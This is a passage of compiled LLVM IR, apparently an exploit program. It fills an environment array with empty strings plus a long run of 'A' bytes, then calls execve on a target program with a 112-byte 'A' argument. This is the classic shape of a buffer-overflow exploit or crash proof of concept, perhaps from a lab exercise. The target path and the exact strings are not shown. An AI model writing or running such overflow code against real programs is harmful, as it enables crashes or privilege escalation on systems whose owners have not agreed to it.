store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %43
%44 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 40
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %44
%45 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 41
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %45
%46 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 42
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %46
%47 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 43
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %47
%48 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 44
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %48
%49 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 45
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %49
%50 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 46
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %50
%51 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 47
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %51
%52 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 48
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %52
%53 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 49
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %53
%54 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 50
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %54
%55 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 51
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %55
%56 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 52
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %56
%57 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 53
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %57
%58 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 54
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %58
%59 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 55
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %59
%60 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 56
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %60
%61 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 57
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %61
%62 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 58
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %62
%63 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 59
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %63
%64 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 60
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %64
%65 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 61
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %65
%66 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 62
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %66
%67 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 63
store i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.1, i64 0, i64 0), i8** %67
%68 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 64
%69 = tail call i8* @str_repeat(i8 signext 65, i32 208)
%70 = tail call i8* @concat(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0), i8* %69)
store i8* %70, i8** %68
%71 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 65
store i8* null, i8** %71
%72 = tail call i8* @str_repeat(i8 signext 65, i32 112)
%73 = tail call i8* @concat(i8* %72, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%74 = bitcast [4 x i8*]* %2 to i8*
%75 = getelementptr inbounds [4 x i8*], [4 x i8*]* %2, i64 0, i64 0
store i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.3, i64 0, i64 0), i8** %75
%76 = getelementptr inbounds [4 x i8*], [4 x i8*]* %2, i64 0, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0), i8** %76
%77 = getelementptr inbounds [4 x i8*], [4 x i8*]* %2, i64 0, i64 2
store i8* %73, i8** %77
%78 = getelementptr inbounds [4 x i8*], [4 x i8*]* %2, i64 0, i64 3
store i8* null, i8** %78
%79 = call i32 @execve(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.3, i64 0, i64 0), i8** %75, i8** %4)
%80 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([14 x i8], [14 x i8]* @.str.5, i64 0, i64 0))
%81 = call i32 @exit(i32 1)
unreachable
}